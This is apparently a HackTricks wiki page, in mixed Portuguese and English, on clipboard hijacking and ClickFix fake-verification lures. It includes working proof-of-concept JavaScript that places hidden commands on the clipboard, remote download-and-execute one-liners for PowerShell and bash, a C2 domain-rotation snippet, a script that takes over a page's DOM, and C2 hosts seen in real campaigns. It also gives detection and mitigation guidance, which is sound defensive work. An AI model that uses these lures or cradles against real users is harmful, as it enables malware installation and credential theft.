Clipboard Hijacking (Pastejacking) Attacks
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
“Nunca cole algo que você não copiou você mesmo.” – conselho antigo, mas ainda válido
Visão geral
Clipboard hijacking – also known as pastejacking – explora o fato de que usuários rotineiramente copiam e colam comandos sem inspecioná-los. Uma página web maliciosa (ou qualquer contexto com suporte a JavaScript, como uma aplicação Electron ou Desktop) coloca programaticamente texto controlado pelo atacante na área de transferência do sistema. As vítimas são normalmente incentivadas, por instruções de engenharia social cuidadosamente elaboradas, a pressionar Win + R (Run dialog), Win + X (Quick Access / PowerShell), ou abrir um terminal e colar o conteúdo da área de transferência, executando imediatamente comandos arbitrários.
Porque nenhum arquivo é baixado e nenhum anexo é aberto, a técnica contorna a maioria dos controles de segurança de e-mail e conteúdo web que monitoram anexos, macros ou execução direta de comandos. O ataque é, portanto, popular em campanhas de phishing que entregam famílias de malware commodity como NetSupport RAT, Latrodectus loader ou Lumma Stealer.
Botões “Copy” forçados e payloads ocultos (macOS one-liners)
Alguns infostealers para macOS clonam sites de instaladores (por exemplo, Homebrew) e forçam o uso de um botão “Copy” para que os usuários não possam selecionar apenas o texto visível. A entrada na área de transferência contém o comando de instalação esperado mais um payload em Base64 anexado (por exemplo, ...; echo <b64> | base64 -d | sh), de modo que uma única colagem executa ambos enquanto a UI oculta a etapa extra.
Prova de conceito em JavaScript
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Campanhas mais antigas usavam document.execCommand('copy'), as mais novas dependem da assíncrona Clipboard API (navigator.clipboard.writeText).
Fluxo ClickFix / ClearFake
- Usuário visita um site typosquatted ou comprometido (e.g.
docusign.sa[.]com) - JavaScript injetado ClearFake chama um helper
unsecuredCopyToClipboard()que armazena silenciosamente na área de transferência um comando PowerShell de uma linha codificado em Base64. - Instruções em HTML dizem à vítima: “Pressione Win + R, cole o comando e pressione Enter para resolver o problema.”
powershell.exeé executado, baixando um arquivo que contém um executável legítimo mais uma DLL maliciosa (classic DLL sideloading).- O loader decripta estágios adicionais, injeta shellcode e instala persistência (e.g. tarefa agendada) – acabando por executar NetSupport RAT / Latrodectus / Lumma Stealer.
Exemplo de cadeia NetSupport RAT
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe(legítimo Java WebStart) procura em seu diretório pormsvcp140.dll.- A DLL maliciosa resolve dinamicamente APIs com GetProcAddress, baixa dois binários (
data_3.bin,data_4.bin) via curl.exe, descriptografa-os usando uma chave XOR rotativa"https://google.com/", injeta o shellcode final e descompacta client32.exe (NetSupport RAT) emC:\ProgramData\SecurityCheck_v1\.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- Baixa
la.txtcom curl.exe - Executa o downloader JScript dentro do cscript.exe
- Obtém um MSI payload → coloca
libcef.dllao lado de um aplicativo assinado → DLL sideloading → shellcode → Latrodectus.
Lumma Stealer através de MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
A chamada do mshta inicia um script PowerShell oculto que recupera PartyContinued.exe, extrai Boat.pst (CAB), reconstrói AutoIt3.exe através de extrac32 & concatenação de arquivos e, finalmente, executa um script .a3x que exfiltra credenciais de navegador para sumeriavgv.digital.
ClickFix: Clipboard → PowerShell → JS eval → Startup LNK com C2 rotativo (PureHVNC)
Algumas campanhas ClickFix evitam completamente downloads de arquivos e instruem as vítimas a colar um one‑liner que busca e executa JavaScript via WSH, o persiste e alterna o C2 diariamente. Exemplo de cadeia observada:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
Principais características
- URL ofuscada invertida em tempo de execução para frustrar inspeções casuais.
- JavaScript persiste via um Startup LNK (WScript/CScript) e seleciona o C2 pelo dia atual – permitindo rápida rotação de domínios.
Fragmento JS mínimo usado para rotacionar C2s por data:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
A próxima etapa normalmente implanta um loader que estabelece persistência e puxa um RAT (e.g., PureHVNC), frequentemente fixando TLS a um certificado hardcoded e segmentando o tráfego.
Detection ideas specific to this variant
- Árvore de processos:
explorer.exe→powershell.exe -c→wscript.exe <temp>\a.js(orcscript.exe). - Artefatos de inicialização: LNK em
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startupinvocando WScript/CScript com um caminho JS sob%TEMP%/%APPDATA%. - Registry/RunMRU e telemetria de linha de comando contendo
.split('').reverse().join('')oueval(a.responseText). - Repetidos
powershell -NoProfile -NonInteractive -Command -com grandes payloads via stdin para alimentar scripts longos sem linhas de comando extensas. - Scheduled Tasks que subsequentemente executam LOLBins como
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"sob uma tarefa/caminho com aparência de updater (e.g.,\GoogleSystem\GoogleUpdater).
Threat hunting
- Hostnames e URLs de C2 rotativos diariamente com o padrão
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>. - Correlacione eventos de gravação na clipboard seguidos por colagem via Win+R e execução imediata de
powershell.exe.
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
- Windows Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUkeeps a history of Win + R commands – look for unusual Base64 / obfuscated entries. - Security Event ID 4688 (Process Creation) where
ParentImage==explorer.exeandNewProcessNamein {powershell.exe,wscript.exe,mshta.exe,curl.exe,cmd.exe}. - Event ID 4663 for file creations under
%LocalAppData%\Microsoft\Windows\WinX\or temporary folders right before the suspicious 4688 event. - EDR clipboard sensors (if present) – correlate
Clipboard Writefollowed immediately by a new PowerShell process.
IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads
Campanhas recentes produzem em massa páginas falsas de verificação de CDN/browser (“Just a moment…”, IUAM-style) que coagiam usuários a copiar comandos específicos do OS da clipboard para consoles nativos. Isso desloca a execução para fora do sandbox do navegador e funciona tanto em Windows quanto em macOS.
Key traits of the builder-generated pages
- Detecção do OS via
navigator.userAgentpara adaptar payloads (Windows PowerShell/CMD vs. macOS Terminal). Decoys/no-ops opcionais para OSs não suportados, mantendo a ilusão. - Cópia automática para clipboard em ações benignas da UI (checkbox/Copy) enquanto o texto visível pode diferir do conteúdo da clipboard.
- Bloqueio em mobile e um popover com instruções passo a passo: Windows → Win+R→colar→Enter; macOS → abrir Terminal→colar→Enter.
- Ofuscação opcional e injetor single-file para sobrescrever o DOM de um site comprometido com uma UI de verificação estilizada com Tailwind (sem necessidade de registrar novo domínio).
Example: clipboard mismatch + OS-aware branching
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok'; // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}
document.getElementById('chk').addEventListener('click', copyReal);
</script>
Persistência inicial no macOS
- Use
nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 ¶ que a execução continue após o fechamento do terminal, reduzindo artefatos visíveis.
Tomada direta da página em sites comprometidos
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html; // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
document.head.appendChild(s);
})();
</script>
Detecção & hunting: ideias específicas para iscas estilo IUAM
- Web: Páginas que associam Clipboard API a widgets de verificação; discrepância entre o texto exibido e o clipboard payload; branching em
navigator.userAgent; Tailwind + single-page replace em contextos suspeitos. - Windows endpoint:
explorer.exe→powershell.exe/cmd.exelogo após uma interação do browser; instaladores batch/MSI executados a partir de%TEMP%. - macOS endpoint: Terminal/iTerm gerando
bash/curl/base64 -dcomnohupperto de eventos do browser; tarefas em segundo plano sobrevivendo ao fechamento do terminal. - Correlacionar o histórico
RunMRUdo Win+R e as escritas no clipboard com a criação subsequente de processos de console.
Veja também técnicas de suporte
2026 evoluções do fake CAPTCHA / ClickFix (ClearFake, Scarlet Goldfinch)
- ClearFake continua a comprometer sites WordPress e a injetar loader JavaScript que encadeia hosts externos (Cloudflare Workers, GitHub/jsDelivr) e até chamadas de blockchain “etherhiding” (por exemplo, POSTs para endpoints da Binance Smart Chain API como
bsc-testnet.drpc[.]org) para puxar a lógica atual da isca. Overlays recentes usam fortemente fake CAPTCHAs que instruem usuários a copiar/colar um comando de uma linha (T1204.004) em vez de baixar qualquer coisa. - A execução inicial está cada vez mais delegada a signed script hosts/LOLBAS. Cadeias de janeiro de 2026 trocaram o uso anterior de
mshtapelo built-inSyncAppvPublishingServer.vbsexecutado viaWScript.exe, passando argumentos estilo PowerShell com aliases/wildcards para buscar conteúdo remoto:
"C:\WINDOWS\System32\WScript.exe" "C:\WINDOWS\system32\SyncAppvPublishingServer.vbs" "n;&(gal i*x)(&(gcm *stM*) 'cdn.jsdelivr[.]net/gh/grading-chatter-dock73/vigilant-bucket-gui/p1lot')"
SyncAppvPublishingServer.vbsé assinado e normalmente usado pelo App-V; emparelhado comWScript.exee argumentos incomuns (gal/gcmaliases, wildcarded cmdlets, jsDelivr URLs) ele se torna um estágio LOLBAS de alto sinal para ClearFake.- Em fevereiro de 2026, os fake CAPTCHA payloads migraram de volta para cradles de download puramente PowerShell. Dois exemplos ao vivo:
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -c iex(irm 158.94.209[.]33 -UseBasicParsing)
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -c "$w=New-Object -ComObject WinHttp.WinHttpRequest.5.1;$w.Open('GET','https[:]//cdn[.]jsdelivr[.]net/gh/www1day7/msdn/fase32',0);$w.Send();$f=$env:TEMP+'\FVL.ps1';$w.ResponseText>$f;powershell -w h -ep bypass -f $f"
- A primeira cadeia é um grabber em memória
iex(irm ...); a segunda stages viaWinHttp.WinHttpRequest.5.1, grava um.ps1temporário e depois o executa com-ep bypassem uma janela oculta.
Detection/hunting tips for these variants
- Process lineage: browser →
explorer.exe→wscript.exe ...SyncAppvPublishingServer.vbsor PowerShell cradles immediately after clipboard writes/Win+R. - Command-line keywords:
SyncAppvPublishingServer.vbs,WinHttp.WinHttpRequest.5.1,-UseBasicParsing,%TEMP%\FVL.ps1, jsDelivr/GitHub/Cloudflare Worker domains, or raw IPiex(irm ...)patterns. - Network: outbound to CDN worker hosts or blockchain RPC endpoints from script hosts/PowerShell shortly after web browsing.
- File/registry: temporary
.ps1creation under%TEMP%plus RunMRU entries containing these one-liners; block/alert on signed-script LOLBAS (WScript/cscript/mshta) executing with external URLs or obfuscated alias strings.
Mitigações
- Endurecimento do navegador – desabilitar acesso de escrita ao clipboard (
dom.events.asyncClipboard.clipboardItemetc.) ou exigir um gesto do usuário. - Conscientização de segurança – ensinar os usuários a digitar comandos sensíveis ou a colá-los primeiro em um editor de texto.
- PowerShell Constrained Language Mode / Execution Policy + Application Control para bloquear one-liners arbitrários.
- Controles de rede – bloquear requisições de saída para domínios conhecidos de pastejacking e domínios C2 de malware.
Related Tricks
- Discord Invite Hijacking frequentemente abusa da mesma abordagem ClickFix depois de atrair usuários para um servidor malicioso:
Referências
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC – GitHub
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
- The ClickFix Factory: First Exposure of IUAM ClickFix Generator
- 2025, the year of the Infostealer
- Red Canary – Intelligence Insights: February 2026
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


